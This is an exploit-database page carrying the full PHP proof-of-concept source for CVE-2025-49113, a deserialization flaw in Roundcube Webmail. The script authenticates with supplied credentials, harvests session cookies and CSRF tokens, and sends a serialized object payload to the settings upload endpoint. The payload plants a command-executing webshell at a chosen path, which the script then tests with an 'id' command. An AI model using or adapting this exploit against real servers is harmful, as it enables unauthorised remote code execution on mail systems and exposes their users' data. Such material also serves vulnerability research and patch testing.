Exploit database

GH-e3845628dcd87cfdf5b5cc8ca20a9873

syfi/cve-2025-49113

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2025-49113

14 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
syfi/cve-2025-49113Revision 8c736dfd63ef

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

rc-exploit.php

PHP · 21,063 bytes
<?php
// PoC for CVE-2025-49113 in Roundcube Webmail
// by syfi - Zaid


if ($argc < 5) {
    echo "Usage: php " . $argv[0] . " <url> <path> <username> <password>\n";
    echo "Example: php " . $argv[0] . " http://mail.example.com /var/www/html/shell.php [email protected] password123\n";
    echo "By syfi  x@syfi2k   credits https://fearsoff.org/research/roundcube\n";
    exit(1);
}

$base_url = rtrim($argv[1], '/'); 
$target_path = $argv[2];          
$username = $argv[3];             
$password = $argv[4];             

echo "[*] Target: $base_url\n";
echo "[*] File path: $target_path\n";
echo "[*] Username: $username\n";
echo "[*] Starting exploitation at " . date('Y-m-d H:i:s') . "\n";

$config = [
    'timestamp' => date('Y-m-d H:i:s'),
    'target' => $base_url,
    'filepath' => $target_path,
    'username' => $username
];
file_put_contents('exploit_config.json', json_encode($config, JSON_PRETTY_PRINT));

// STEP 1: Get CSRF Token and Initial Session
echo "\n[*] STEP 1: Getting initial CSRF token and session cookie\n";
echo "------------------------------------------------\n";
$initial_session = get_csrf_token($base_url);
if (!$initial_session) {
    echo "[!] ERROR: Failed to get initial CSRF token. Exploitation aborted.\n";
    exit(1);
}

// Save the initial token and session
$token_file = fopen('token_initial.txt', 'w');
fwrite($token_file, "URL: $base_url\n");
fwrite($token_file, "Time: " . date('Y-m-d H:i:s') . "\n");
fwrite($token_file, "Token: {$initial_session['token']}\n");
fwrite($token_file, "Session: {$initial_session['cookie']}\n");
fclose($token_file);

echo "\n[+] Initial token and session saved to token_initial.txt\n";
echo "[+] Initial CSRF Token: {$initial_session['token']}\n";
echo "[+] Initial Session: {$initial_session['cookie']}\n";

// STEP 2: Perform Login with Token
echo "\n[*] STEP 2: Performing login with retrieved token\n";
echo "------------------------------------------------\n";
$login_session = perform_login($base_url, $username, $password, $initial_session);
if (!$login_session) {
    echo "[!] ERROR: Login failed. Exploitation aborted.\n";
    exit(1);
}

// STEP 3: Save authenticated session
echo "\n[*] STEP 3: Saving authenticated session\n";
echo "------------------------------------------------\n";

// Verify and get the final session
echo "[*] Verifying session validity...\n";
$verified_session = verify_session($base_url, $login_session);
if (!$verified_session) {
    echo "[!] WARNING: Session verification failed, but continuing with existing session.\n";
    $verified_session = $login_session;
}

// Save the final authenticated session to files
$session_file = fopen('session_authenticated.txt', 'w');
fwrite($session_file, "URL: $base_url\n");
fwrite($session_file, "Time: " . date('Y-m-d H:i:s') . "\n");
fwrite($session_file, "Username: $username\n");
fwrite($session_file, "CSRF Token: {$verified_session['token']}\n");
fwrite($session_file, "Session Cookie: {$verified_session['cookie']}\n");
fclose($session_file);

// Also save as JSON for programmatic use
$session_json = [
    'url' => $base_url,
    'timestamp' => date('Y-m-d H:i:s'),
    'username' => $username,
    'token' => $verified_session['token'],
    'cookie' => $verified_session['cookie']
];
file_put_contents('session_authenticated.json', json_encode($session_json, JSON_PRETTY_PRINT));

echo "[+] Authentication successful\n";
echo "[+] Final CSRF Token: {$verified_session['token']}\n";
echo "[+] Final Session Cookie: {$verified_session['cookie']}\n";
echo "[+] Session data saved to:\n";
echo "    - session_authenticated.txt (human readable)\n";
echo "    - session_authenticated.json (machine readable)\n";

// Extract session ID for easier use
$session_id = '';
if (preg_match('/roundcube_sessid=([^;]+)/', $verified_session['cookie'], $matches)) {
    $session_id = $matches[1];
    echo "[+] Session ID: $session_id\n";
}

// STEP 4: Create and send the exploit
echo "\n[*] STEP 4: Creating and sending exploit\n";
echo "------------------------------------------------\n";

// Extract session cookie and CSRF token
$session_cookie = $verified_session['cookie'];
$csrf_token = $verified_session['token'];

// Target URL for the vulnerability
$target_url = "$base_url/index.php?_task=settings&_action=upload&_from=";

// Class payload for PHP Object Deserialization
class Ode {
    public $filename;
    public $content = '<?php system($_GET["cmd"]);?>'; // Webshell payload
    
    public function __construct($filename) {
        $this->filename = $filename;
    }
    
    public function __destruct() {
        // Append dynamic timestamp to content
        $dynamic_content = $this->content . ' // Generated at ' . date('Y-m-d H:i:s') . "\n";
        // Attempt to write file
        $result = @file_put_contents($this->filename, $dynamic_content, FILE_APPEND);
        if ($result === false) {
            echo "[!] Failed to write file: Check permissions, path\n";
        } else {
            echo "[+] File written successfully: {$this->filename} ($result bytes written)\n";
        }
    }
}

// Serialize the object with the provided target path
$payload = serialize(new ode($target_path));
echo "[*] Generated payload: " . substr($payload, 0, 50) . "...\n";
echo "[*] Full payload length: " . strlen($payload) . " bytes\n";
file_put_contents('payload.txt', $payload);
echo "[*] Full payload saved to payload.txt\n";

// URL encode the payload for the _from parameter
$encoded_payload = urlencode($payload);

// Construct the malicious URL
$malicious_url = $target_url . $encoded_payload;
echo "[*] Sending exploit to: " . substr($malicious_url, 0, 60) . "...\n";

// Initialize cURL session
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $malicious_url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIE, $session_cookie); // Set the session cookie
curl_setopt($ch, CURLOPT_HEADER, true);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // Disable SSL verification for testing
curl_setopt($ch, CURLOPT_TIMEOUT, 10);

// Add CSRF token to headers if needed
if (!empty($csrf_token)) {
    curl_setopt($ch, CURLOPT_HTTPHEADER, [
        "X-CSRF-Token: $csrf_token",
        "X-Roundcube-Request: $csrf_token"
    ]);
}

echo "\n[*] Exploitation Phase: Sending payload\n";
$response = curl_exec($ch);

// Save response for debugging
file_put_contents('exploit_response.html', $response);

// Check for cURL errors and HTTP status
if (curl_errno($ch)) {
    echo '[!] cURL Error: ' . curl_error($ch) . "\n";
} else {
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    echo "[*] HTTP Status: $http_code\n";
    
    // Try to verify if the exploit worked
    echo "\n[*] Verification Phase: Checking if webshell was created\n";
    
    $webshell_url = get_webshell_url($base_url, $target_path);
    echo "[*] Estimated webshell URL: $webshell_url\n";
    
    // Try to make a test request to the webshell if URL looks valid
    if (filter_var($webshell_url, FILTER_VALIDATE_URL)) {
        echo "[*] Attempting to verify webshell...\n";
        
        $verify_ch = curl_init();
        curl_setopt($verify_ch, CURLOPT_URL, $webshell_url . "?cmd=id");
        curl_setopt($verify_ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($verify_ch, CURLOPT_TIMEOUT, 5);
        curl_setopt($verify_ch, CURLOPT_SSL_VERIFYPEER, false);
        
        $verify_response = curl_exec($verify_ch);
        $verify_status = curl_getinfo($verify_ch, CURLINFO_HTTP_CODE);
        curl_close($verify_ch);
        
        if ($verify_status == 200 && !empty($verify_response)) {
            echo "[+] WEBSHELL VERIFICATION SUCCESSFUL!\n";
            echo "[+] Response from webshell: " . substr(trim($verify_response), 0, 100) . "\n";
            file_put_contents('webshell_verify.txt', $verify_response);
        } else {
            echo "[!] Could not verify webshell (HTTP $verify_status)\n";
            echo "[!] This doesn't necessarily mean exploitation failed\n";
        }
    }
    
    echo "\n[*] Exploitation Summary:\n";
    echo "[*] Target: $base_url\n";
    echo "[*] Attempted to create webshell at: $target_path\n";
    echo "[*] Estimated webshell URL: $webshell_url\n";
    echo "[*] To test the webshell: $webshell_url?cmd=id\n";
    echo "[*] All responses saved to exploit_response.html and session_data.txt\n";
}
curl_close($ch);

/**
 * Function to login to Roundcube and obtain a session cookie
 * 
 * @param string $base_url Base URL of Roundcube installation
 * @param string $username Roundcube username
 * @param string $password Roundcube password
 * @return string|false Session cookie if login successful, false otherwise
 */
/**
 * Explicitly separate CSRF token retrieval and login functionality
 */

/**
 * Function to get initial CSRF token and session cookie
 * 
 * @param string $base_url Base URL of Roundcube installation
 * @return array|false Session data or false on failure
 */
function get_csrf_token($base_url) {
    echo "\n[*] Phase 1: Retrieving initial CSRF token and session cookie\n";
    
    // First request to get token
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "$base_url/");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    curl_setopt($ch, CURLOPT_TIMEOUT, 10);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    if (!$response) {
        echo "[!] Error connecting to Roundcube\n";
        return false;
    }
    
    // Save the login page for debugging
    file_put_contents('login_page.html', $response);
    echo "[*] Saved login page to login_page.html for token debugging\n";
    
    // Extract all cookies
    $cookies = [];
    preg_match_all('/Set-Cookie: ([^;]+)/', $response, $matches);
    if (!empty($matches[1])) {
        foreach ($matches[1] as $cookie) {
            $cookies[] = $cookie;
        }
    }
    
    // Find the session cookie
    $session_cookie = '';
    foreach ($cookies as $cookie) {
        if (strpos($cookie, 'roundcube_sessid=') === 0) {
            $session_cookie = $cookie;
            break;
        }
    }
    
    if (empty($session_cookie)) {
        echo "[!] Failed to get initial session cookie\n";
        echo "[!] Available cookies: " . implode('; ', $cookies) . "\n";
        return false;
    }
    
    echo "[+] Retrieved session cookie: $session_cookie\n";
    
    // Try multiple patterns to extract the token
    $token_patterns = [
        '/_token=([^"&]+)/',
        '/name="_token"\s+value="([^"]+)"/',
        '/input[^>]+name="_token"[^>]+value="([^"]+)"/',
        '/"_token":"([^"]+)"/'
    ];
    
    $token = '';
    foreach ($token_patterns as $pattern) {
        preg_match($pattern, $response, $matches);
        if (!empty($matches[1])) {
            $token = $matches[1];
            echo "[+] CSRF token found using pattern: $pattern\n";
            break;
        }
    }
    
    if (empty($token)) {
        echo "[!] Failed to extract CSRF token. Check login_page.html manually.\n";
        
        // Advanced manual token extraction - look for all form inputs
        echo "[*] Attempting alternative token extraction...\n";
        preg_match_all('/<input[^>]+name="([^"]+)"[^>]+value="([^"]+)"/', $response, $inputs);
        if (!empty($inputs[1])) {
            echo "[*] Found form inputs:\n";
            for ($i = 0; $i < count($inputs[1]); $i++) {
                echo "    {$inputs[1][$i]} = {$inputs[2][$i]}\n";
                if (stripos($inputs[1][$i], 'token') !== false) {
                    $token = $inputs[2][$i];
                    echo "[+] Possible token found: $token\n";
                }
            }
        }
        
        if (empty($token)) {
            return false;
        }
    }
    
    echo "[+] Retrieved CSRF token: $token\n";
    
    // Return both session cookie and CSRF token
    return [
        'cookie' => $session_cookie,
        'token' => $token,
        'raw_response' => $response
    ];
}

/**
 * Function to perform login with the given token and session cookie
 * 
 * @param string $base_url Base URL of Roundcube installation
 * @param string $username Roundcube username
 * @param string $password Roundcube password
 * @param array $session_data Session data from get_csrf_token()
 * @return array|false Updated session data or false on failure
 */
function perform_login($base_url, $username, $password, $session_data) {
    echo "\n[*] Phase 2: Attempting login with credentials\n";
    
    $session_cookie = $session_data['cookie'];
    $token = $session_data['token'];
    
    echo "[*] Using session cookie: $session_cookie\n";
    echo "[*] Using CSRF token: $token\n";
    
    // Prepare login parameters
    $post_data = [
        '_token' => $token,
        '_task' => 'login',
        '_action' => 'login',
        '_user' => $username,
        '_pass' => $password
    ];
    
    echo "[*] POST parameters:\n";
    foreach ($post_data as $key => $value) {
        if ($key == '_pass') {
            echo "    $key = [REDACTED]\n";
        } else {
            echo "    $key = $value\n";
        }
    }
    
    // Perform login
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "$base_url/?_task=login");
    curl_setopt($ch, CURLOPT_POST, true);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_COOKIE, $session_cookie);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // Don't follow redirects
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    
    $response = curl_exec($ch);
    
    // Save the login response for debugging
    file_put_contents('login_response.html', $response);
    
    // Get HTTP status code
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    echo "[*] Login HTTP status code: $http_code\n";
    
    // Get response headers
    $header_size = curl_getinfo($ch, CURLINFO_HEADER_SIZE);
    $header = substr($response, 0, $header_size);
    $body = substr($response, $header_size);
    
    // Save headers separately for inspection
    file_put_contents('login_headers.txt', $header);
    
    curl_close($ch);
    
    // Extract all headers for inspection
    $headers = [];
    foreach (explode("\n", $header) as $line) {
        if (trim($line)) {
            $headers[] = trim($line);
        }
    }
    
    echo "[*] Response headers:\n";
    foreach ($headers as $h) {
        // Don't show cookie values for security
        if (stripos($h, 'Set-Cookie:') === 0) {
            $parts = explode('=', $h, 2);
            if (count($parts) > 1) {
                echo "    " . $parts[0] . "=[COOKIE VALUE]\n";
            } else {
                echo "    $h\n";
            }
        } else {
            echo "    $h\n";
        }
    }
    
    // Update session cookie if needed
    $new_session = '';
    preg_match('/Set-Cookie: (roundcube_sessid=[^;]+)/', $response, $matches);
    if (!empty($matches[1])) {
        $new_session = $matches[1];
        echo "[+] Got updated session cookie: $new_session\n";
        $session_cookie = $new_session;
    }
    
    // Check for successful login
    $login_success = false;
    
    // Method 1: Check for redirect to mail task
    if (strpos($response, 'Location: ' . $base_url . '/?_task=mail') !== false || 
        strpos($response, 'Location: /?_task=mail') !== false) {
        $login_success = true;
        echo "[+] Login successful (detected redirect to mail task)\n";
    } 
    // Method 2: Check for HTTP 302 status code
    else if ($http_code == 302) {
        $login_success = true;
        echo "[+] Login successful (HTTP 302 redirect detected)\n";
    }
    // Method 3: Check for absence of login form in response
    else if (strpos($response, 'name="_pass"') === false && 
             strpos($response, 'login form') === false) {
        $login_success = true;
        echo "[+] Login possibly successful (login form not present in response)\n";
    } else {
        echo "[!] Login appears to have failed. Check login_response.html for details.\n";
        
        // Try to extract error message
        preg_match('/<div[^>]*class="[^"]*error[^"]*"[^>]*>(.*?)<\/div>/si', $response, $error_matches);
        if (!empty($error_matches[1])) {
            echo "[!] Error message: " . trim(strip_tags($error_matches[1])) . "\n";
        }
        
        return false;
    }
    
    // Return updated session data
    return [
        'cookie' => $session_cookie,
        'token' => $token,
        'http_code' => $http_code,
        'response' => $response
    ];
}

/**
 * Function to verify session validity and get a new CSRF token
 * 
 * @param string $base_url Base URL of Roundcube installation
 * @param array $session_data Session data from perform_login()
 * @return array|false Updated session data or false on failure
 */
function verify_session($base_url, $session_data) {
    echo "\n[*] Phase 3: Verifying session validity\n";
    
    $session_cookie = $session_data['cookie'];
    
    // Make a request to a protected page
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, "$base_url/?_task=settings");
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_HEADER, true);
    curl_setopt($ch, CURLOPT_COOKIE, $session_cookie);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
    
    $response = curl_exec($ch);
    curl_close($ch);
    
    // Save the verification response
    file_put_contents('session_verify.html', $response);
    
    // Check if we're still authenticated
    if (strpos($response, 'name="_pass"') !== false || 
        strpos($response, 'login form') !== false) {
        echo "[!] Session verification failed - redirected to login page\n";
        return false;
    }
    
    // Try multiple patterns to extract the token
    $token_patterns = [
        '/_token=([^"&]+)/',
        '/name="_token"\s+value="([^"]+)"/',
        '/input[^>]+name="_token"[^>]+value="([^"]+)"/',
        '/"_token":"([^"]+)"/'
    ];
    
    // Extract the new CSRF token for future requests
    $new_token = '';
    foreach ($token_patterns as $pattern) {
        preg_match($pattern, $response, $matches);
        if (!empty($matches[1])) {
            $new_token = $matches[1];
            break;
        }
    }
    
    if (!empty($new_token)) {
        echo "[+] New CSRF token after login: $new_token\n";
    } else {
        echo "[!] Could not find new CSRF token, will continue with existing token\n";
        $new_token = $session_data['token'];
    }
    
    echo "[+] Session verified as active and valid\n";
    
    // Return updated session data
    return [
        'cookie' => $session_cookie,
        'token' => $new_token
    ];
}

/**
 * Main login function that orchestrates the authentication process
 * 
 * @param string $base_url Base URL of Roundcube installation
 * @param string $username Roundcube username
 * @param string $password Roundcube password
 * @return array|false Session data or false on failure
 */
function login_to_roundcube($base_url, $username, $password) {
    // Step 1: Get initial CSRF token and session cookie
    $initial_session = get_csrf_token($base_url);
    if (!$initial_session) {
        echo "[!] Failed to get initial CSRF token and session cookie\n";
        return false;
    }
    
    // Step 2: Perform login with credentials
    $login_session = perform_login($base_url, $username, $password, $initial_session);
    if (!$login_session) {
        echo "[!] Login failed\n";
        return false;
    }
    
    // Step 3: Verify session validity and get new CSRF token
    $verified_session = verify_session($base_url, $login_session);
    if (!$verified_session) {
        echo "[!] Session verification failed\n";
        return false;
    }
    
    return $verified_session;
}

/**
 * Try to determine the URL for the webshell based on the file path and base URL
 */
function get_webshell_url($base_url, $file_path) {
    // Common patterns
    $web_root_paths = [
        '/var/www/html/' => '',
        '/var/www/' => '',
        '/srv/www/' => '',
        '/usr/share/roundcube/' => '',
        '/opt/roundcube/' => ''
    ];
    
    foreach ($web_root_paths as $disk_path => $web_path) {
        if (strpos($file_path, $disk_path) === 0) {
            $relative_path = str_replace($disk_path, $web_path, $file_path);
            // Build the URL by getting the domain and adding the relative path
            $parsed_url = parse_url($base_url);
            $scheme = isset($parsed_url['scheme']) ? $parsed_url['scheme'] : 'http';
            $host = isset($parsed_url['host']) ? $parsed_url['host'] : '';
            return "$scheme://$host/$relative_path";
        }
    }
    
    // Fallback - just return a hint
    return "[Could not determine URL - convert server path to web URL]";
}
?>